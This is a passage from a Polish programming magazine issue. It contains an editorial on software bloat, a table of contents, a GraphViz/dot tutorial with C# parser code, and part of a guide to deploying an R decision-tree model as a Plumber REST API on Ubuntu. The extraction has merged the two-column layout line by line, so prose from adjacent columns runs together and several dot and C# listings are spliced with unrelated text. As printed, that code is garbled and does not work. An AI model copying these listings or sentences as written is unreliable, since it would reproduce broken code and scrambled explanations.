Programista 97a
Programista 97a
JAK PROGRAM
STAJE SIĘ PROCESEM
BLAZOR JAKO
NOWOCZESNY
[Link] WEB FORMS
01010000
01110010
01101111
01100111
01110010
01100001
01101101
01101001
01110011
01110100
01100001
#
/* Kiedyś to było… */
...a teraz też jest, tylko inaczej. Mam oczywiście na myśli programo- we samej aplikacji. I tylko dlatego, że autor postanowił wykorzystać
wanie – zarówno podejście do tego tematu, jak i sposoby tworzenia jeden taki duży gotowy klocek, a ten z kolei wymaga kolejnych takich
oprogramowania znacząco zmieniły się na przestrzeni ostatnich kilku- klocków – w końcu słynny mem o tym, że katalog node_modules jest
nastu lat. Dziś już zwykle nie myślimy o ograniczonej ilości dostępnej cięższy od czarnych dziur, powstał nie bez przyczyny. Oczywiście nie
pamięci operacyjnej, prędkości procesora, na którym nasze oprogra- mam nic tutaj do samego nodeJS, jednakże warto przy tworzeniu
mowanie będzie uruchamiane, czy przestrzeni dyskowej. Również mniejszych projektów zastanowić się, czy naprawdę potrzebujemy tej
prędkość łącza internetowego coraz częściej przestaje mieć znacze- ciężarówki i czy „Hello World” z naszym zestawem frameworków musi
nie. Mamy setki, a nawet tysiące gotowych rozwiązań i frameworków zajmować 20 MB miejsca na dysku po skompilowaniu.
do szybkiego tworzenia aplikacji każdego rodzaju i dziesiątki języków Zanim słowo „framework” było jednoznacznie kojarzone z programo-
programowania przeznaczonych do różnych zastosowań. Mamy waniem, wszystkie elementy oprogramowania były tworzone zwykle
chmury obliczeniowe i inne „CUDA” naszych czasów. od zera, a zbiory gotowych bibliotek i funkcji ograniczały się do podsta-
Wróćmy jednak na chwilę do momentu, kiedy programowanie było wowych elementów języka wykorzystywanych w prawie każdym pro-
nazywane sztuką, niekiedy nawet magiczną. Patrząc dziś na tamtą jekcie. Ważne również było, aby kod był zarówno czytelny, jak i szybki,
epokę, to zarówno ograniczenia ówczesnego sprzętu, jak i sam stan a także jak najmniejszy. Było to podyktowane istniejącym sprzętem
narzędzi programistycznych pozwalają nazwać niektórych programi- oraz właśnie tą magią programowania – „640 KB pamięci miało wy-
stów tamtej ery prawdziwymi czarodziejami. Był to okres, w którym starczyć każdemu”, a bardzo szybko się ta pamięć kończyła, więc
liczyły się nie tylko umiejętności związane z samym tworzeniem kodu optymalizacja była naturalnym procesem tworzenia aplikacji, nawet
i znajomością języków programowania, ale również użyciem tych zdol- tych prostych i niewielkich. Właśnie o tej optymalizacji zapominamy
ności w taki sposób, by pokonywać istniejące ograniczenia lub wyko- coraz częściej – program działa, robi, co ma robić, i na tym poprzesta-
rzystywać je do granic możliwości. I tutaj pojawia się pytanie – dla- jemy. A czasem warto poświęcić chwilę i chociaż spróbować dokonać
czego dziś już przy tworzeniu oprogramowania zwykle nie zwracamy analizy tego, jak to wygląda przy różnych konfiguracjach, zestawach
uwagi na takie aspekty, jak pamięć czy przestrzeń dyskowa? Myślę, że danych itd., być może dla 10 tysięcy rekordów nie będzie żadnej róż-
jest tak, ponieważ mamy obecnie zasoby, które pozwalają nam o tym nicy w czasie działania, ale dla 10 milionów może to być kilka minut.
zapomnieć, a i tak uzyskamy oczekiwany efekt końcowy. Dawniej, pi- Ponieważ sam moją przygodę z programowaniem zaczynałem w cza-
sząc nasz kod, warto było go optymalizować, by uczynić go szybszym sach słynnych 640 KB, mam nawyk testowania i optymalizowania kodu
i mniej wymagającym, a bardzo często zdarzały się takie okazje. pod względem rozmiaru, szybkości działania oraz wykorzystania do-
Obecne frameworki czy zestawy bibliotek znacznie ułatwiają two- datków i zewnętrznych bibliotek tam, gdzie tylko się da. Może to już
rzenie oprogramowania – dostajemy podane na tacy gotowe klocki, tylko moje przyzwyczajenie, a może po prostu jestem pod tym wzglę-
które możemy dowolne doklejać do naszego projektu, ale czy zawsze dem minimalistą z racji czasów, w jakich zaczynałem programować.
potrzebujemy dużej ciężarówki, aby przewieźć jeden mały worek wę- Zachęcam jednak wszystkich do tego, aby eksperymentować z opty-
gla? Jedne z ostatnich badań, na które natrafiłem, przeglądając różne- malizacją projektów – kiedyś to była konieczność. I kiedyś to było…
go rodzaju artykuły poświęcone programowaniu, opisują fakt, iż nawet A frameworków nie było.
bardzo proste aplikacje często wymagają do samego uruchomienia
Sopel
instalacji tony różnego rodzaju bibliotek, pakietów i dodatków zwykle
o wiele przewyższających zarówno rozmiar, jak i wymagania sprzęto-
/* REKLAMA */
SPIS TREŚCI
BIBLIOTEKI I NARZĘDZIA
6 # Wizualizowanie struktur danych przy pomocy GraphViz
01010000
01110010
> Wojciech Sura
01101111
> Piotr Szajowski
PROGRAMOWANIE SYSTEMOWE
24 # Jak program staje się procesem
01100111
> Tomasz Duszyński
01110010
> Dawid Borycki
ALGORYTMIKA
38 # Wybrane algorytmy i struktury danych. Część 8: algorytmy hill-climb
01100001
> Wojciech Sura
INŻYNIERIA OPROGRAMOWANIA
01101101
48 # Przegląd wzorców projektowych w Magento 2
> Piotr Jaworski
01101001
52 # Nie tylko kod i testy, czyli o jakości oprogramowania
> Aleksandra Kunysz
STREFA CTF
01110011
56 # Pwn2Win CTF 2021 – atak Spectre
> Dominik "disconnect3d" Czarnota, Arkadiusz "Arusekk" Kozdra
Z ARCHIWUM CVE
01110100
64 # Shellshock
> Mariusz Zaborski
PLANETA IT
01100001
66 # Mikrofale, czyli jak mały batonik zmienił świat
> Wojciech Macek
Magazyn Programista wydawany jest przez Dom Wydawniczy Anna Adamczyk Nota prawna
Wydawca/Redaktor naczelny: Anna Adamczyk (annaadamczyk@[Link]). Redaktor prowadzący: Redakcja zastrzega sobie prawo do skrótów i opracowań tekstów oraz do zmiany planów
Mariusz „maryush” Witkowski (mariuszwitkowski@[Link]). Korekta: Tomasz Łopuszański. Kierownik wydawniczych, tj. zmian w zapowiadanych tematach artykułów i terminach publikacji, a także
produkcji/DTP: Krzysztof Kopciowski. Dział reklamy: reklama@[Link], tel. +48 663 220 102, nakładzie i objętości czasopisma.
tel. +48 604 312 716. Prenumerata: prenumerata@[Link]. Współpraca: Michał Bartyzel, Mariusz O ile nie zaznaczono inaczej, wszelkie prawa do materiałów i znaków towarowych/firmowych
Sieraczkiewicz, Dawid Kaliszewski, Marek Sawerwain, Łukasz Mazur, Łukasz Łopuszański, Jacek Matulewski, zamieszczanych na łamach magazynu Programista są zastrzeżone. Kopiowanie i rozpowszechnianie
Sławomir Sobótka, Dawid Borycki, Gynvael Coldwind, Bartosz Chrabski, Rafał Kocisz, Michał Sajdak, Michał ich bez zezwolenia jest Zabronione.
Bentkowski, Paweł „KrzaQ” Zakrzewski, Radek Smilgin, Jarosław Jedynak, Damian Bogel ([Link] Redakcja magazynu Programista nie ponosi odpowiedzialności za szkody bezpośrednie
Michał Zbyl, Dominik 'Disconnect3d' Czarnota. Adres wydawcy: Dereniowa 4/47, 02-776 Warszawa. i pośrednie, jak również za inne straty i wydatki poniesione w związku z wykorzystaniem informacji
Druk: [Link] Nakład: 4500 egz. prezentowanych na łamach magazynu Programista.
BIBLIOTEKI I NARZĘDZIA
Listing 2. Uruchamiamy GraphViz towanym wcześniej przykładzie zdefiniowaliśmy tylko same krawę-
dzie. Jest tak dlatego, że twórcy GraphViza zaprojektowali język dot
> 'C:\Program Files\Graphviz\bin\[Link]' .\[Link] -Tpng -O
w taki sposób, by można było stosować wiele skrótów. Jeżeli na przy-
W efekcie w katalogu z plikiem definicji powinien pojawić się plik o kład nie ma konieczności precyzyjnego zdefiniowania wierzchołków,
nazwie [Link], wyglądający mniej więcej tak: ich jawne definicje możemy pominąć, bo GraphViz będzie dodawał
je automatycznie, podczas analizowania listy krawędzi. Pełna defini-
cja grafu z Listingu 1 powinna bowiem wyglądać następująco:
graph {
"+"
5
8
Rysunek 1. Wizualizacja prostego grafu "+" -- 5
"+" -- 8
}
WYWOŁANIE PROGRAMU
Ale i tutaj – choć zapis jest bardziej kompletny – ukryty jest jeszcze
Zanim przystąpimy do opisu języka dot, przejdźmy szybko przez pa- jeden skrót. Można bowiem szybko zauważyć, że zaprezentowana w
rametry wywołania GraphViza. Technicznie można zrobić to, poda- Listingu 4 metoda zapisu wierzchołków uniemożliwi nam zdefinio-
jąc jedynie plik wejściowy, ale wówczas GraphViz ograniczy się tylko wanie dwóch takich, które będą miały identyczną etykietę. Dzieje się
do zwrócenia tekstowej informacji o wygenerowanej geometrii: tak dlatego, że GraphViz domyślnie utożsamia identyfikator wierz-
chołka z jego etykietą, co oczywiście skraca zapis (szczególnie w
Listing 3. Wynik działania GraphViza bez żadnych parametrów
przypadkach, gdy etykiety są unikalne).
graph { Ale również i w tym przypadku możemy zastosować bardziej
graph [bb="0,0,126,108"];
node [label="\N"]; kompletny zapis, wprowadzając osobno identyfikator wierzchołka (te
"+" [height=0.5, powinny być unikalne) oraz jego etykietę. Tę ostatnią wprowadzamy
pos="63,90",
width=0.75]; jako atrybut wierzchołka, w kwadratowych nawiasach znajdujących
5 [height=0.5,
pos="27,18",
się bezpośrednio za jego identyfikatorem.
width=0.75];
"+" -- 5 [pos="54.65,72.765 48.835,61.456 41.11,46.437 Listing 5. Atrybuty wierzchołków
35.304,35.147"];
8 [height=0.5, graph {
pos="99,18", 1 [label="+"]
width=0.75]; 2 [label="2"]
"+" -- 8 [pos="71.35,72.765 77.165,61.456 3 [label="2"]
84.89,46.437 90.696,35.147"];
1 -- 2
}
1 -- 3
}
Parametr -Tpng przełącza format wynikowy na obrazek typu png,
ale GraphViz zwróci go po prostu do standardowego wyjścia. Moż- Teraz wierzchołki o identycznych etykietach zostaną prawidłowo
na oczywiście wykorzystać strumienie, by przekierować go do pliku, wyrenderowane.
ale wygodniej jest użyć parametru -O. Sprawi on, że GraphViz sam
zapisze wynik do pliku, zaś jego nazwę wydedukuje z nazwy pliku
wejściowego oraz wybranego formatu (stąd nazwa pliku [Link].
png). Kompletną listę parametrów z podstawowymi wyjaśnieniami
otrzymamy oczywiście, uruchamiając GraphViz z parametrem –help.
Każdy graf w języku dot musi zostać „ubrany” w nawiasy klamrowe Warto dodać, że w taki sam sposób możemy definiować atrybuty
oraz poprzedzony słowem kluczowym, które definiuje jego rodzaj. również dla krawędzi, jak w Listingu 6.
Jeżeli użyjemy słowa graph, otrzymamy w wyniku graf nieskierowa-
Listing 6. Atrybuty dla krawędzi
ny, jeśli zaś digraph (skrót od directional graph), GraphViz wygene-
ruje graf skierowany. Dla przypomnienia, graf skierowany to taki, w graph {
1 [label="+"]
którym krawędzie mają zdefiniowany kierunek i są zwykle przedsta- 2 [label="2"]
wiane w postaci strzałek. W grafie nieskierowanym kierunek ten nie 3 [label="2"]
digraph {
rankdir="LR"
FORMATOWANIE
Podczas wizualizowania struktur danych bardzo wygodnie jest mieć
możliwość wyróżnienia niektórych wierzchołków lub krawędzi, by
na przykład zaakcentować ich stan lub też inną cechę, która w danym
momencie nas interesuje. GraphViz daje dosyć dużo możliwości for-
matowania grafu – możemy na przykład określić kształt, który będzie
reprezentował wierzchołek, kolor jego wypełnienia i krawędzi, a tak- Rysunek 5. Graf ułożony od lewej do prawej
że kolory czcionek czy też kolor, rodzaj i grubość linii reprezentują-
cych krawędzie grafu. Przykłady formatowania możemy zobaczyć w
Listingu 7.
PODGRAFY I KLASTRY
Listing 7. Formatujemy graf
Przypuśćmy, że zależy nam, by wierzchołki, odpowiednio 2 i 5, 3 i 6
graph { oraz 4 i 7, zostały wizualnie pogrupowane poprzez wyświetlenie ich
1 [
label="+" na tej samej wysokości. GraphViz wspiera koncepcję podgrafów, dla
fontcolor="#ffffff" których możemy definiować dodatkowe atrybuty. W naszym przy-
style="filled"
fillcolor="#ff8080"
padku poprzez użycie atrybutu rank możemy poinformować, że
color="#ff0000" wszystkie elementy wchodzące w skład podgrafu mają równą rangę.
]
To sprawi, że zostaną one rozmieszczone w jednej linii.
2 [
label="2"
Listing 9. Wprowadzamy klastry do grafu
shape="box"
]
digraph {
3 [
rankdir="LR"
label="2"
shape="box" { rank="same" 2 5 }
] { rank="same" 3 6 }
{ rank="same" 4 7 }
1 -- 2 [ style="dashed" ]
1 -> 2 -> 3 -> 4
1 -- 3 [ style="dashed" ]
1 -> 5 -> 6 -> 7
} 2 -> 5
1 -> 6
4 -> 7
3 -> 7
}
{ [Link] } <9>
BIBLIOTEKI I NARZĘDZIA
Listing 10. Definiujemy klastry dla grafu ściami. Aby skorzystać z atrybutu pos, musimy skorzystać z silnika
o nazwie neato. Robimy to na jeden z dwóch sposobów: dodajemy
digraph {
rankdir="LR" do wywołania GraphViza parametr -Kneato lub – chyba prościej –
subgraph cluster_1 { zamiast [Link] uruchamiamy [Link]. Oba sposoby są tożsame z
style="filled" dokładnością do ich efektów.
fillcolor="lightgray"
1 3 6
}
subgraph cluster_2 {
2 4 5 7
}
WIZUALIZACJA W PRAKTYCE
Na koniec spróbujmy użyć GraphViza, by przygotować wizualizację
istniejącej, rzeczywistej struktury danych.
Załóżmy, że piszemy program w C#, który – za pomocą biblioteki
Irony – generuje drzewo składniowe wyrażenia matematycznego (je-
żeli czytelnik chciałby przetestować poniższe rozwiązanie, do projek-
tu poprzez nuget należy dołączyć bibliotekę Irony).
Rysunek 7. Klastry Na początku konieczne jest oczywiście zdefiniowanie odpowied-
niej gramatyki.
Czytelność grafu oczywiście nieco spadła, ale jego wierzchołki zosta-
Listing 12. Definicja gramatyki dla Irony
ły rozmieszczone dokładnie tak jak tego chcieliśmy.
class MathGrammar : [Link]
{
MANUALNE POZYCJONOWANIE // Public constants
---------------------------------------------------
WIERZCHOŁKÓW public const string INT_NUMBER = "intNumber";
public const string SUM = "sum";
W razie potrzeby możemy zażądać, aby wierzchołki były pozycjono- public const string COMPARISON = "comparison";
wane w sposób bezwzględny – w ściśle określonych miejscach. Służy public const string EXPRESSION = "expression";
public const string COMPONENT = "component";
do tego atrybut pos. public const string TERM = "term";
public const string BIT_TERM = "bitTerm";
Listing 11. Ręcznie definiujemy pozycje elementów
// Public methods
-----------------------------------------------------
digraph {
rankdir="LR" public MathGrammar()
{
1 [pos="2,2!"]
var intNumber = new RegexBasedTerminal(INT_NUMBER,
2 [pos="4,2!"]
"\\-?[0-9]+");
3 [pos="4,4!"]
4 [pos="2,4!"] var expression = new NonTerminal(EXPRESSION);
5 [pos="3,3!"] var comparison = new NonTerminal(COMPARISON);
6 [pos="3,5!"] var sum = new NonTerminal(SUM);
7 [pos="5,5!"] var component = new NonTerminal(COMPONENT);
var term = new NonTerminal(TERM);
1 -> 2 -> 3 -> 4
var bitTerm = new NonTerminal(BIT_TERM);
1 -> 5 -> 6 -> 7
2 -> 5 // Math expressions
1 -> 6
4 -> 7 [Link] = intNumber
3 -> 7 | ToTerm("(") + expression + ")";
} [Link] = component
| bitTerm + "|" + component
| bitTerm + "&" + component
Tu ważna uwaga. GraphViz składa się tak naprawdę z kilku różnych | bitTerm + "^" + component;
silników odpowiedzialnych za rozmieszczanie elementów grafu. Każ- [Link] = bitTerm
| term + "*" + bitTerm
dy z nich działa według innych reguł, więc różnią się też możliwo-
{ [Link] } <11>
BIBLIOTEKI I NARZĘDZIA
18 -> 19
17 -> 18
16 -> 17
15 -> 16
14 -> 15
20 [ label="- (-)" ]
14 -> 20
21 [ label="(term)" ]
22 [ label="(bitTerm)" ]
23 [ label="(component)" ]
24 [ label="5 (intNumber)" ]
23 -> 24
22 -> 23
21 -> 22
14 -> 21
13 -> 14
12 -> 13
11 -> 12
10 -> 11
4 -> 10
3 -> 4
2 -> 3
25 [ label="+ (+)" ]
2 -> 25
26 [ label="(term)" ]
27 [ label="(term)" ]
28 [ label="(bitTerm)" ]
29 [ label="(component)" ]
30 [ label="6 (intNumber)" ]
29 -> 30
28 -> 29
27 -> 28
26 -> 27
31 [ label="/ (/)" ]
26 -> 31
32 [ label="(bitTerm)" ]
33 [ label="(component)" ]
34 [ label="2 (intNumber)" ]
33 -> 34
32 -> 33
26 -> 32
2 -> 26
1 -> 2
0 -> 1
}
NIE TYLKO STRUKTURY DANYCH korzysta z dedykowanego języka do opisu grafów, jest on naprawdę
łatwy w użyciu. Sam język jest zaś tak intuicyjny, że pisanie metod
GraphViz może pomóc w rozwiązaniu większej liczby problemów, eksportujących struktury danych stanowi zwykle bardzo proste za-
nie tylko dotyczących struktur danych. danie i można zrobić to kompletnie nieinwazyjnie dla istniejącego
W jednym z projektów, w których brałem udział, zaszła potrzeba kodu. Cechy te sprawiają, że GraphViz jest doskonałym narzędziem
przepisania dużej ilości kodu z Delphi do C++. Robiliśmy to w kilku ułatwiającym debugowanie złożonych struktur danych.
etapach, najpierw przenosząc kod z Delphi na Borland C++, a potem
z tego drugiego do Visual Studio. Zadanie ułatwiał nam nieco fakt, W sieci
że C++ Builder umiał korzystać z modułów skompilowanych w Del-
Strona internetowa projektu: [Link]
phi, ale nie działało to niestety w drugą stronę. Dokumentacja atrybutów elementów w języku dot: [Link]
Aby ułatwić sobie zadanie, wygenerowaliśmy automatycznie graf
zależności pomiędzy poszczególnymi modułami, co pozwoliło nam
odnajdywać lokalne „korzenie” (czyli takie moduły, do których nie WOJCIECH SURA
było zależności z modułów napisanych w Delphi) i wyznaczyć wła- wojciechsura@[Link]
ściwą kolejność przepisywania plików. Oszczędziło nam to wielu kło- Programuje od 25 lat, z czego 10 komercyjnie; ma
potów i pozwoliło sprawnie przeprowadzić cały proces. na koncie aplikacje desktopowe, webowe, mobilne
i wbudowane - pisane w C#, C++, Javie, Delphi, PHP,
GraphViza możemy więc używać w każdej sytuacji, w której
Javascript i w jeszcze kilku innych językach. Obecnie
mamy do czynienia z taką strukturą, która ze swojej natury jest gra- pracuje w firmie WSCAD, rozwijającej oprogramowa-
fem. Warto o tym pamiętać. nie nowej generacji CAD dla elektrotechników.
{ MATERIAŁ INFORMACYJNY }
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH
ZAŁOŻENIA dotyczący wersji R. Wszystkie te założenia nie wzięły się też z abs-
trakcyjnych rozważań czy analizy literatury na ten temat, a wynikają
Funkcjonuje obiegowa opinia, że w pracy nad modelami uczenia ma- z doświadczeń w realizacji projektów w AI Center of Excellence dzia-
szynowego 90% czasu poświęca się na przygotowanie danych, tzn. ich łającym w Capgemini Software Solution Center we Wrocławiu.
czyszczenie i przekształcenie do odpowiedniej postaci, a 10% na ich Jak się za chwilę okaże, każde z opisanych tu założeń stanowi pew-
modelowanie i „całą resztę”. Dziś chciałbym opisać to, co mieści się ne wyzwanie. Aby jednak nie rozwiązywać wszystkich problemów
w tej ostatniej kategorii, a co potrafi przysporzyć całkiem niemałych naraz, zacznę od przygotowania potrzebnego kodu w najprostszym
kłopotów, jeśli weźmie się pod uwagę typowe założenia dotyczące środowisku, czyli w systemie Windows, w którym jako IDE wykorzy-
uruchamiania kodu w systemach IT, na których opierają swoją pracę stam RStudio. W takim środowisku pracuje większość osób zajmują-
duże i średnie firmy. Konkretnie pokażę tutaj, jak można przygoto- cych się dziedziną data science i instalacja potrzebnych bibliotek oraz
wać do wykorzystania w środowisku produkcyjnym model uczenia oprogramowania w nim właśnie została maksymalnie uproszczona.
maszynowego zaimplementowany i wytrenowany w języku R. Dopiero gdy nasz kod będzie gotowy, pokażę, jak można przygoto-
Zakładam, że: wać odpowiednią instalację R dla Linuxa, z jakimi problemami się to
» kod wykonujący wnioskowanie w oparciu o nasz model ma wiąże i jak można sobie z nimi poradzić na dwa różne sposoby. I tu
działać na maszynie o architekturze x64 pracującej w syste- małe zastrzeżenie: w przypadku produkcyjnych rozwiązań częstym
mie Linux (dla uproszczenia założymy, że jest to dystrybucja wymogiem jest przygotowanie odpowiedniej automatyzacji testowa-
Ubuntu), nia i umieszczania kodu w środowisku produkcyjnym (tzw. pipeli-
» wykorzystujemy R w wersji 4.x.x, ne CI/CD), którego tutaj nie będę uwzględniał – inaczej artykuł ten
» interfejsem, przy pomocy którego odwołujemy się do naszego mógłby się rozrosnąć do monstrualnych rozmiarów.
kodu, jest REST API.
„BUŃCZUCZNY HYDRAULIK”,
Dlaczego takie właśnie założenia?
CZYLI PLUMBER I SWAGGER UI
Coraz częściej rozwiązania z obszaru uczenia maszynowego
umieszcza się w chmurze, nie tylko dlatego, że wymagają one mocy Najistotniejszym elementem w rozwiązaniu, które spełni docelowo
obliczeniowej, którą w ten sposób można pozyskać w najtańszy lub opisane wyżej założenia, jest biblioteka Plumber ([Link]
najbardziej elastyczny sposób, ale coraz częściej dlatego, że w wielu [Link]/). Pozwala ona na bardzo zwięzłą w swoim zapisie implemen-
firmach cała infrastruktura już jest w chmurze lub jest do niej suk- tację webowych API (w tym takich, które spełniają założenia REST;
cesywnie migrowana i po prostu nie ma innej możliwości niż sko- zobacz [Link] Interfejsy te są tworzone na ba-
rzystanie z niej jako platformy utrzymywania nowych komponentów zie funkcji języka R, przed definicją których dodaje się dekoratory
systemów. W niektórych przypadkach możliwe jest zastosowanie już opisujące cechy interfejsu (nazwę endpointa, listę parametrów wraz
istniejących rozwiązań dostarczanych przez dostawcę chmury, które z typami oraz operacje, które należy wykonać na danych wyjścio-
pozwalają umieścić w nich modele uczenia maszynowego przygoto- wych). Jeśli ktoś tworzył kiedyś interfejsy REST API przy pomocy
wane przy pomocy języka R. W ogólnym jednak przypadku bywa, biblioteki Flask w Pythonie, to zapewne zauważy tu duże podobień-
że jedynym sensownym rozwiązaniem jest podejście oparte o samo- stwo na poziomie składni. Jeśli chcielibyśmy na przykład, aby moż-
dzielnie przygotowany kod realizujący funkcjonalność REST API. liwe było odwołanie do modelu drzewa decyzyjnego zaimplemento-
Rozwiązanie takie pozwala uniezależnić się od dostawcy chmury wanego przy użyciu biblioteki rpart wytrenowanego do rozwiązania
obliczeniowej, co jest czasem dodatkowym wymogiem stawianym słynnego problemu klasyfikacji irysów (zobacz [Link]
przez klientów biznesowych. Do tego dochodzi kwestia systemu, org/wiki/Iris_flower_data_set), fragment potrzebnego kodu wyglądać
w którym funkcjonują nasze kontenery. Z różnych przyczyn – cza- będzie następująco:
sem aby zminimalizować ceny usług, a czasem z powodu innych wy-
Listing 1. Plik api.R
mogów funkcjonalnych – bardzo często okazuje się, że musimy zaim-
plementować nasze rozwiązania z myślą o systemie Linux. Względy library(rpart)
load("[Link]")
bezpieczeństwa natomiast wymuszają stosowanie zawsze aktualnego treeFit <- unserialize(model_out)
lub przynajmniej w miarę aktualnego oprogramowania, stąd wymóg
#* @get /predict/<pW:float>/<pL:float>/<sW:float>/<sL:float> wynik działania modelu będzie również nazwane tą nazwą – wyglą-
#* @serializer unboxedJSON
function(pW, pL, sW, sL){
dać to będzie np. następująco:
input <- [Link]([Link]=c(sL),
[Link]=c(sW), {
[Link]=c(pL), "result": "virginica"
[Link]=c(pW)) }
output<-list(predict(treeFit, newdata=input, type="class"))
names(output)<-c("result")
output Wróćmy teraz do tego, jak sprawić, żeby nasz kod faktycznie zadzia-
}
łał jako API. W pierwszej kolejności musimy zainstalować bibliotekę
Widzimy, że funkcja, która ma pełnić rolę „silnika” naszego interfej- Plumber wraz z zależnościami. Pracując w RStudio pod Window-
su, została opatrzona dwoma dekoratorami. Pierwszy z nich – @get sem, mamy wyzwanie, które jest trywialne – wystarczy jedno pole-
– definiuje sposób wywołania endpointa. W tym przypadku będzie cenie: [Link]("plumber"). Po jego wykonaniu zobaczy-
on dostępny dzięki metodzie GET protokołu HTTP, będzie nosić na- my serię komunikatów, z których następujący oznacza, że biblioteka
zwę predict, a jako parametry przyjmować będzie 4 wartości typu Plumber została zainstalowana poprawnie:
float, które otrzymają kolejno nazwy: pW, pL, sW i sL. Drugim deko-
package 'plumber' successfully unpacked and MD5 sums checked
ratorem użytym w powyższym przykładzie jest @serializer, czyli
wskazanie funkcji, która przetworzy dane wyjściowe do postaci, któ- Teraz potrzebujemy jeszcze przygotować plik z zapisanym modelem
rą można umieścić wewnątrz odpowiedzi na zapytanie w protokole drzewa decyzyjnego. Jest to zadanie dość standardowe, opisywane
HTTP, czyli ciąg znaków. W tym przykładzie użyjemy unboxedJSON, na rozmaite sposoby w wielu samouczkach i artykułach, więc w tym
czyli funkcji, która zwraca wynik w formacie JSON, gdzie rezultat miejscu – tylko dla kompletności artykułu – przytoczę wersję, którą
zostanie podany jako pojedyncza wartość, a nie jako wektor (w od- wykorzystałem, przygotowując opisywany tu kod:
różnieniu od funkcji json domyślnie zwracającej wektory – zobacz
Listing 2. Plik train.R
[Link]
W powyższym przykładzie zwraca też uwagę to, jak przygotowu- library(datasets)
data(iris)
jemy listę zawierającą wynik działania modelu – jedynemu elemen- library(rpart)
towi tej listy nadajemy nazwę result. Dzięki temu zabiegowi nasz treeFit <- rpart(Species~.,data=iris,method = 'class')
model_out <- serialize(treeFit, NULL)
interfejs zwróci dane w formacie JSON, w których pole zawierające save(model_out, file="[Link]")
{ [Link] } <15>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH
Po uruchomieniu zaprezentowanego powyżej kodu tworzony jest Jeśli używamy RStudio, wyżej opisany kod nie tylko uruchomi
plik [Link], który będzie wczytywany przy uruchamianiu naszego serwer pozwalający korzystać z API oraz uruchomić dla niego Swag-
API. Pozostaje teraz już tylko ostatni krok – skrypt do uruchomienia ger UI, ale także otworzy automatycznie okienko, w którym Swagger
serwera: UI zostanie otwarty. Zobaczmy teraz, jak działa nasze API:
1. W tym celu klikamy na „GET” i otrzymujemy formularz pozwa-
Listing 3. Plik server.R
lający wprowadzić dane wejściowe modelu – Rysunek 2.
my_server <- plumber::plumb("api.R") 2. Następnie klikamy „Try it out” – Rysunek 3.
my_server$run(host="[Link]", port=8000, swagger=TRUE)
3. Wypełniamy formularz i klikamy „Execute” – Rysunek 4.
Co dzieje się w tych dwóch linijkach kodu? Po pierwsze, tworzymy W tym przykładzie nasze API jest odpytywane z parametrami, jakie
obiekt reprezentujący nasze API zaimplementowane w pliku api.R podaliśmy w formularzu Swagger UI, a w oknie przeglądarki dosta-
(i nazywamy go my_server). W drugim poleceniu uruchamiamy ser- jemy nie tylko informację o wyniku, lecz także zawartość nagłówka
wer webowy, który będzie stanowił podstawę dla naszego API, poda- i dokładne informacje o sposobie wywołania. Gdyby naszym za-
jąc jego parametry: daniem było przygotowanie API, które będzie działać na maszynie
» host="[Link]" oznacza, że serwer będzie dostępny z poziomu pracującej pod systemem Windows, byłoby ono w zasadzie ukończo-
wszystkich istniejących w systemie interfejsów sieciowych (co ne z dokładnością do szeregu czynności, niezbędnych ze względów
w szczególności oznacza, że będziemy mogli się odwoływać do bezpieczeństwa i dobrych praktyk w automatyzacji udostępniania
niego nie tylko przez localhost, ale także, że będzie on dostępny i testowania działającego kodu, o których nie będę tu wspominał
dla hostów z zewnątrz, o ile w systemie będziemy mieć skonfi- w szczegółach. Teraz pora odpowiedzieć sobie na pytanie: jak to wy-
gurowane odpowiednie interfejsy), gląda w sytuacji, gdy chcemy lub musimy utworzyć rozwiązanie dzia-
» port=8000 oznacza, że portem TCP, na którym serwer będzie łające w systemie Linux?
nasłuchiwał zapytań, będzie 8000,
» swagger=TRUE oznacza, że razem z naszym API uruchomiony
zostanie pakiet Swagger UI, który w szczególności dostarcza in-
terfejsu użytkownika przydatnego do wstępnego testowania (zo-
bacz [Link]
{ [Link] } <17>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH
INSTALACJA W LINUXIE Czy te zmiany wystarczą? Okazuje się, że nie. Przy próbie ponow-
nego zainstalowania R otrzymujemy następujący zestaw komunikatów:
Od tej chwili pracować będziemy już w systemie Ubuntu, a nie Win-
Reading package lists...
dows. Osobiście pracowałem na wirtualnej maszynie utworzonej W: GPG error: [Link]
w aplikacji VirtualBox ([Link] a plik instalacyj- focal-cran40/ InRelease: The following signatures couldn't be
verified because the public key is not available: NO_PUBKEY
ny systemu pobrałem ze strony [Link] 51716619E084DAB9
(wybrałem najnowszą wersję oznaczoną jako „LTS” – long-term sup- E: The repository '[Link]
focal-cran40/ InRelease' is not signed.
port). Instalacja jest względnie prosta, a informację, jak ją przeprowa-
dzić, można bez trudu odnaleźć w różnorakich źródłach.
Standardowym podejściem do instalacji interpretera języka R Na czym polega problem? No cóż – zażądaliśmy instalacji pakietów,
w Linuxie (Ubuntu) jest użycie polecenia apt-get, które odnajdu- które pochodzą z repozytorium, które nie jest podpisane kluczem
je odpowiednie pakiety do zainstalowania w domyślnych repozyto- z „oficjalnego” zestawu kluczy zapisanego w dystrybucjach Ubuntu.
riach. Konkretne polecenie wygląda następująco: Co teraz?
Okazuje się, że pomimo braku aktualnych pakietów ze środowi-
sudo apt-get update && apt-get install -y r-base
skiem R na [Link], publiczny klucz, którym podpisane
są te pakiety, jest dostępny na serwerze [Link]. Można
Niestety, w Ubuntu zamiast wersji 4.1.0, czyli najnowszej w chwili pi- go dodać do zbioru kluczy, z których korzysta apt-get, poleceniem
sania tego artykułu, zainstalowana zostanie wersja 3.6.3. apt-key, jednak do wykonania tej operacji potrzebny jest pakiet
Dlaczego tak się dzieje? Otóż wynika to z tego, że polecenie apt- gnupg lub gnupg2. Jego instalacja nie jest jednak problematyczna
get domyślnie pobiera i instaluje pakiety z serwera znajdującego się i ostatecznie wszystko, co musimy zrobić, to wykonanie następują-
pod URL-em [Link] a tam – niestety – wersje pa- cych poleceń:
kietów związanych z R są dość mocno opóźnione względem tego, co
sudo apt-get install gnupg
jest dostępne do pobrania na stronie [Link] (opóźnienie na ten sudo apt-key adv --keyserver [Link] --recv-keys
moment wynosi prawie 1,5 roku). Na szczęście istnieje możliwość 51716619E084DAB9
sudo R -e "[Link]('plumber')"
aby wyświetlić jego zawartość. W moim przypadku wyglądała ona
następująco:
pojawiają się kolejne błędy – brakuje pakietów systemowych, od któ-
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04 rych zależy Plumber, a których instalacji nie jest w stanie dokonać sam
